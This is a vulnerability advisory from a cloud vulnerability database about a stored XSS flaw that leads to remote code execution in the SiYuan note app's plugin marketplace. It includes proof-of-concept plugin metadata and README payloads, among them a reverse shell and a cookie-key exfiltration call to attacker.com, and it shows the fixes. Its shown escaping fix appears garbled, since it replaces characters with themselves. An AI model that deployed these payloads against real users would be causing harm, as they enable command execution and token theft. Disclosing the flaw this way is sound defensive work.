
Cloud Vulnerability DB
A community-led vulnerabilities database
SiYuan's Bazaar (community marketplace) renders plugin/theme/template metadata and README content without sanitization. A malicious package author can achieve RCE on any user who browses the Bazaar by:
displayName and description fields are injected directly into HTML via template literals without escaping. Just loading the Bazaar page triggers execution.renderREADME function uses lute.New() without SetSanitize(true), so raw HTML in the README passes through to innerHTML unsanitized.
Both vectors execute in Electron's renderer with nodeIntegration: true and contextIsolation: false, giving full OS command execution.app/src/config/bazaar.ts:275-277kernel/bazaar/package.go:635-645 (renderREADME)app/src/config/bazaar.ts:607 (innerHTML)app/electron/main.js:422-426 (nodeIntegration: true)// Package name injected directly into HTML template — NO escaping
${item.preferredName}${item.preferredName !== item.name
? ` <span class="ft__on-surface ft__smaller">${item.name}</span>` : ""}
// Package description injected directly — NO escaping
<div class="b3-card__desc" title="${escapeAttr(item.preferredDesc) || ""}">
${item.preferredDesc || ""} <!-- UNESCAPED HTML -->
</div>Note: The title attribute uses escapeAttr(), but the actual text content does not — inconsistent escaping.
func renderREADME(repoURL string, mdData []byte) (ret string, err error) {
luteEngine := lute.New() // Fresh Lute instance — SetSanitize NOT called
luteEngine.SetSoftBreak2HardBreak(false)
luteEngine.SetCodeSyntaxHighlight(false)
linkBase := "https://cdn.jsdelivr.net/gh/" + ...
luteEngine.SetLinkBase(linkBase)
ret = luteEngine.Md2HTML(string(mdData)) // Raw HTML in markdown preserved
return
}Compare with the SiYuan note renderer in kernel/util/lute.go:81:
luteEngine.SetSanitize(true) // Notes ARE sanitized — but README is NOTfetchPost("/api/bazaar/getBazaarPackageREADME", {...}, response => {
mdElement.innerHTML = response.data.html; // Unsanitized HTML from README
});A malicious plugin.json (or theme.json, template.json):
{
"name": "helpful-plugin",
"displayName": {
"default": "Helpful Plugin<img src=x onerror=\"require('child_process').exec('calc.exe')\">"
},
"description": {
"default": "A helpful plugin<img src=x onerror=\"require('child_process').exec('id>/tmp/pwned')\">"
},
"version": "1.0.0"
}When any user opens the Bazaar page and this package is in the listing, the onerror handler fires automatically (since src=x fails to load), executing arbitrary OS commands.
# Helpful Plugin
This plugin does helpful things.
<img src=x onerror="require('child_process').exec('calc.exe')">
## Installation
Follow the usual steps.When a user clicks on the package to view its README, the raw HTML is rendered via innerHTML without sanitization, executing the onerror handler.
# Cool Theme
<img src=x onerror="require('child_process').exec('bash -c \"bash -i >& /dev/tcp/attacker.com/4444 0>&1\"')">{
"displayName": {
"default": "<img src=x onerror=\"fetch('https://attacker.com/exfil?token='+require('fs').readFileSync(require('path').join(require('os').homedir(),'.config/siyuan/cookie.key'),'utf8'))\">"
}
}displayName or descriptionnodeIntegration: true// Use a proper HTML escape function
function escapeHtml(str: string): string {
return str.replace(/&/g, '&').replace(/</g, '<')
.replace(/>/g, '>').replace(/"/g, '"');
}
// Apply to all user-controlled metadata
${escapeHtml(item.preferredName)}
<div class="b3-card__desc">${escapeHtml(item.preferredDesc || "")}</div>func renderREADME(repoURL string, mdData []byte) (ret string, err error) {
luteEngine := lute.New()
luteEngine.SetSanitize(true) // ADD THIS
luteEngine.SetSoftBreak2HardBreak(false)
luteEngine.SetCodeSyntaxHighlight(false)
// ...
}webPreferences: {
nodeIntegration: false,
contextIsolation: true,
sandbox: true,
}Source: NVD
Free Vulnerability Assessment
Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.
Get a personalized demo
"Best User Experience I have ever seen, provides full visibility to cloud workloads."
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
"We know that if Wiz identifies something as critical, it actually is."